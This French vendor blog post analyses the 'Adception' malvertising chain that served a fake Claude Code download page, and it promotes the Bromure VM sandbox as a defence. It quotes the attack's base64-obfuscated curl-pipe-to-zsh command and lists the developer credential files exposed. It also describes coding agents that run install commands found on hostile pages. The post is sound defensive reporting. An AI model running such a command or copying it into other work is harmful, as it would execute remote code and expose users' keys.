La page affichait la vraie commande
Le 9 octobre, Push Security a décrit une annonce Google pour « claude mac » dont la destination était un vrai lien bing.com. Quatre redirections plus loin, une fausse page de téléchargement de Claude affichait la véritable commande d'installation d'Anthropic, et son bouton Copier en mettait une autre dans le presse-papiers : une URL cachée, envoyée dans zsh. Push appelle la technique Adception. Dans Bromure Agentic Coding, Claude Code arrive dans une VM par une étape d'installation signée, la connexion se fait dans une machine jetable, et personne ne tape de commande d'installation dans un terminal du Mac.
La page affichait la commande d'installation d'Anthropic, au caractère près. Le bouton Copier en mettait une autre dans le presse-papiers.
Chez un client de Push Security, quelqu'un a tapé « claude mac » dans Google.
Le premier résultat était un lien sponsorisé, et le domaine affiché dessous
était bing.com. L'annonce n'utilisait ni domaine sosie ni faute de frappe sur
le nom d'Anthropic. La vérification publicitaire de Google avait approuvé une
annonce dont la destination était un autre moteur de recherche.
Push a publié la chaîne le jeudi 9 octobre et a baptisé la technique Adception. BleepingComputer a repris l'histoire l'après-midi même. Les chercheurs de Push écrivent qu'ils avaient déjà vu des résultats de recherche servir de redirecteurs, mais « jamais comme destination d'une annonce de recherche, et nous n'avons trouvé aucun signalement public antérieur ». Un horodatage dans le lien Bing se décode en 5 octobre.
Quatre sauts jusqu'à un bouton Copier
Le clic passait par quatre étapes :
google.com/aclk, la redirection de clic publicitaire de Google.bing.com/ck/a, le lien de suivi de clic de Bing pour un vrai résultat de recherche. Il redirige avec une courte page JavaScript, si bien que le navigateur arrive au saut suivant avec un referrerbing.com.- La page « qui sommes-nous » d'un vrai commerçant sud-américain dont le site WordPress a été compromis. Elle ne redirige que les visiteurs qui arrivent de Bing avec les bons en-têtes de navigateur.
claude-desk-code[.]com, une copie soignée de la page de téléchargement de Claude, avec un bouton Download for macOS et une installation en une ligne dans le terminal.
Chaque saut vérifie d'où vient le visiteur. Chargez la fausse page
directement, et son JavaScript lit document.referrer, n'y trouve ni Google ni
Bing, et sert /404.html. Un vérificateur d'annonces, un scanner ou un
chercheur qui colle l'URL ne voit rien. Selon Push, « la charge malveillante
n'apparaissait que si l'on atteignait la fin de la chaîne par ce chemin
précis ».
La page affiche la commande publiée par Anthropic :
curl -fsSL https://claude.ai/install.sh | bash
Le bouton Copier met plutôt ceci dans le presse-papiers :
echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh
Collée dans Terminal, la première moitié affiche une ligne rassurante qui
contient l'URL d'Anthropic. La seconde décode une adresse cachée sur
lake-90[.]com, récupère un fichier .dat et l'envoie dans zsh. Rien
n'atterrit sur le disque qui puisse être analysé avant. Push relie huit
domaines leurres, dont cli-desktop[.]com et too.clawddddd[.]com, à une
boîte à outils qu'il suit sous le nom d'AcSig, et note que les domaines
tournent assez vite pour que « les IoC éphémères n'aient qu'une valeur
limitée ».
Pourquoi le leurre est un outil d'IA
Push classe Adception sous InstallFix, une variante de ClickFix décrite pour
la première fois en mars : de faux guides d'installation pour des outils dont
la vraie installation tient en une ligne de terminal. Claude Code est le cas
d'école. Son installation documentée est un curl envoyé dans un shell, donc
une page qui demande à un développeur d'en coller un dans Terminal a l'air
authentique.
Push indique que les pages ClickFix représentent désormais plus de la moitié de ses détections mensuelles, et que « 4 attaques ClickFix sur 5 (variantes InstallFix et LLMshare comprises) que nous détectons atteignent leurs victimes via les moteurs de recherche ». Les développeurs forment l'essentiel de ceux qui cherchent « claude mac », et le Mac d'un développeur vaut cher pour quiconque y exécute un script.
Push n'a pas récupéré la charge finale, si bien que personne ne sait encore ce
que fait ce script. Un processus zsh lancé depuis votre Terminal tourne sous
votre identité, avec votre dossier personnel :
~/.aws/credentials,~/.config/gcloud,~/.kube/config~/.ssh/id_ed25519et~/.git-credentials- le token
ghet les tokens de publication npm et PyPI - les fichiers
.envde chaque checkout - la connexion de l'agent lui-même, si Claude Code était déjà installé
- les profils de navigateur, les cookies et les tokens de session
La victime croit en plus que l'installation a fonctionné. Si le script installe le vrai Claude Code en dernière étape, rien ne paraît anormal.
Les conseils font reposer le travail sur vous
Les recommandations qui ont suivi le rapport sont la liste habituelle : tapez vous-même l'URL de l'éditeur, méfiez-vous des résultats sponsorisés, relisez ce que vous avez collé avant d'appuyer sur Entrée, considérez comme suspecte toute page d'installation qui demande d'ouvrir Terminal. Tout cela est juste. Cela demande aussi à un développeur, en pleine installation d'un nouvel outil, d'être plus attentif qu'une page conçue pour passer un coup d'œil rapide. La commande à l'écran était celle d'Anthropic. Le domaine de l'annonce était celui de Bing. La redirection passait par un vrai commerçant. Un développeur prudent qui aurait vérifié chacun de ces points n'aurait rien trouvé d'anormal.
Bromure supprime l'étape dont l'attaque dépend : un développeur qui colle la commande d'installation d'un agent de code dans un terminal du Mac qui détient ses clés.
Claude Code sur un Mac, sans l'installer sur le Mac
Bromure Agentic Coding fait tourner Claude Code, Codex, Grok, Kimi Code et Oh My Pi dans des VM Linux sur votre Mac. Aucun d'eux n'y arrive par un terminal du Mac.
L'app est une image disque notarisée
Bromure Agentic Coding est distribué sous forme de DMG signé et notarisé depuis bromure.io. Vous le glissez dans Applications, et Gatekeeper l'ouvre sans avertissement. Le manuel dit quoi faire de toute autre copie : « Si vous avez obtenu un DMG ailleurs que sur bromure.io et que Gatekeeper proteste, considérez-le comme un signal d'alarme, pas comme un obstacle à contourner. » Ensuite, l'app se met à jour elle-même avec Sparkle, et vérifie chaque mise à jour avec la clé de signature de Bromure avant de l'installer. L'installation entière ne contient aucune commande, donc aucun bouton Copier que quiconque pourrait détourner.
Les agents arrivent par des étapes d'installation signées
Au premier lancement, l'assistant de configuration télécharge l'image de base de Bromure, un disque Ubuntu 24.04, et vérifie son SHA-256. Il installe ensuite les agents dans votre copie de l'image, sous forme d'étapes d'installation listées dans un catalogue. Le catalogue porte une signature ed25519, faite avec la même clé que celle qui signe les mises à jour de l'app, et cette signature couvre chaque commande d'installation. L'app refuse un catalogue non signé ou modifié, ainsi que tout catalogue plus ancien qu'un catalogue déjà accepté.
L'étape de Claude Code est une installation npm encapsulée dans le scanner de chaîne d'approvisionnement de Socket.dev, exécutée dans une VM auxiliaire. Personne ne la colle, et un serveur de téléchargement trafiqué ne peut pas la modifier. Pendant son exécution, l'étape de l'assistant affiche « Customizing the image: installing packages… ».
Quand un agent se met ensuite à jour lui-même dans une machine avec
npm install -g, la requête traverse le proxy de Bromure sur le Mac comme
n'importe quel autre téléchargement de paquet. Le proxy applique la politique
de chaîne d'approvisionnement de la machine (délai d'ancienneté, OSV,
Socket.dev, Depi, selon ce que vous avez activé) avant qu'un seul octet
n'atteigne la VM, et enregistre le téléchargement dans la Security Timeline.
La connexion se fait dans une machine jetable
Le guide d'installation de Claude Code se termine par une connexion. Dans Bromure, c'est l'étape Models de l'assistant qui s'en charge : choisissez la connexion Anthropic, terminez dans la page de navigateur qui s'ouvre, et attendez Signed in to Claude. Le manuel décrit ce qui se passe en dessous : « La connexion se fait sur votre Mac, dans une machine temporaire cachée ; vous ne voyez jamais de terminal. » Le CLI du fournisseur lance sa propre procédure de connexion dans cette VM. Bromure capture les tokens sur l'hôte, les chiffre et supprime la VM.
La connexion est stockée dans un fichier chiffré en AES-GCM sous une clé
maîtresse conservée dans le trousseau Data Protection du Mac, marquée pour cet
appareil uniquement, sans synchronisation iCloud. Aucun fichier de token
~/.claude ne traîne dans votre dossier personnel pour qu'un script le
ramasse, et chaque machine reçoit son propre substitut.
Quand l'agent part à la recherche d'installeurs
Adception cible une personne devant un champ de recherche. Les agents de code cherchent eux aussi des instructions d'installation, et plus souvent que les humains : un CLI manquant, un nouveau SDK, un linter mentionné dans le README. Un agent lit le HTML de la page au lieu de cliquer sur Copier, mais les pages InstallFix portent la mauvaise commande dans leur source, et la prochaine campagne pourrait se passer complètement de l'astuce du presse-papiers.
Imaginons qu'un agent dans une machine Bromure trouve une page comme
claude-desk-code[.]com et exécute sa commande en une ligne. Quatre couches
séparent ce script de vos clés.
Le script tourne dans un invité Linux avec des substituts
La machine est une VM Ubuntu, et le script tourne dans cet invité Linux. Son
dossier personnel contient le checkout du projet et des substituts brm_ sous
les noms habituels : ANTHROPIC_API_KEY, GH_TOKEN,
AWS_SECRET_ACCESS_KEY. Les vraies valeurs restent chiffrées sur le Mac, et le
proxy ne les met sur le réseau que pour les requêtes vers l'hôte pour lequel
chaque identifiant a été créé. Un script qui ramasse tous les tokens qu'il
trouve ramasse des chaînes qu'aucun serveur n'acceptera.
Un substitut en route vers le mauvais hôte arrête la machine
Le proxy inspecte chaque requête sortante, ligne de requête, en-têtes et corps, à la recherche de substituts en route vers un hôte auquel ils n'appartiennent pas. Quand le script expédie son butin au serveur de l'attaquant, le proxy répond HTTP 451, ne transmet rien, met la VM en pause et ouvre This environment may have been compromised sur le Mac, avec le token, son identifiant, l'hôte auquel il appartient et l'hôte vers lequel il a été envoyé.
L'hôte de la charge n'a jamais figuré sur la liste
Le panneau Guardrails de la machine contient un pare-feu Outbound
connections, avec des règles par hôte, plage d'IP, protocole et port. Réglez
Unmatched traffic sur Deny, autorisez le fournisseur du modèle, les
registres et GitHub, et le curl vers lake-90[.]com ne se connecte jamais.
Le verdict arrive dans la Security Timeline à côté de la session qui a
fait la requête.
Le dossier personnel revient en arrière
Chaque démarrage d'une machine crée un point de restauration de son dossier personnel. Éteignez la machine, choisissez Rewind home…, sélectionnez le démarrage d'avant l'exécution du script, et le démarrage suivant repart de ce dossier. Le dossier actuel est d'abord conservé comme un nouveau point, si bien que le retour en arrière peut lui-même être annulé. Pour repartir de zéro, réinitialisez la machine sur l'image de base.
Aucune commande d'installation à coller
Bromure est distribué sous forme de DMG notarisé depuis bromure.io et se met à jour par des versions Sparkle signées. Rien dans l'installation ne vous demande d'ouvrir Terminal.
Les agents viennent d'un catalogue signé
Claude Code et les autres agents sont installés dans l'image de base par des étapes dont les commandes sont couvertes par une signature ed25519. Un serveur trafiqué ne peut pas les modifier.
Connexion dans une VM jetable
La connexion du fournisseur s'exécute dans une machine temporaire cachée. Les tokens sont chiffrés sur le Mac sous une clé du trousseau, et chaque machine reçoit un substitut.
Une mauvaise commande atterrit dans une VM
Si un agent en exécute une malgré tout, elle tourne sous Linux avec des substituts, derrière un pare-feu et un détecteur de compromission sur le Mac, et le dossier personnel se restaure.
La prochaine annonce
Push a découvert Adception grâce au clic d'un seul client, sur un leurre visant un seul terme de recherche. La boîte à outils AcSig compte huit domaines, et la même page fonctionne pour « codex mac », « gemini cli install » ou n'importe quel outil que les développeurs chercheront le mois prochain. Cette fois, Google a approuvé un lien Bing. La prochaine fois, l'annonce pourrait pointer vers un autre domaine auquel un vérificateur d'annonces fait confiance.
Installez l'agent de code une fois, comme une app, et laissez-le tourner là où l'installation est signée et où les clés sont des substituts. Pour en savoir plus sur les commandes collées et la confiance empruntée, lisez Le presse-papiers est l'exploit et Ils ont ajouté votre agent à la liste.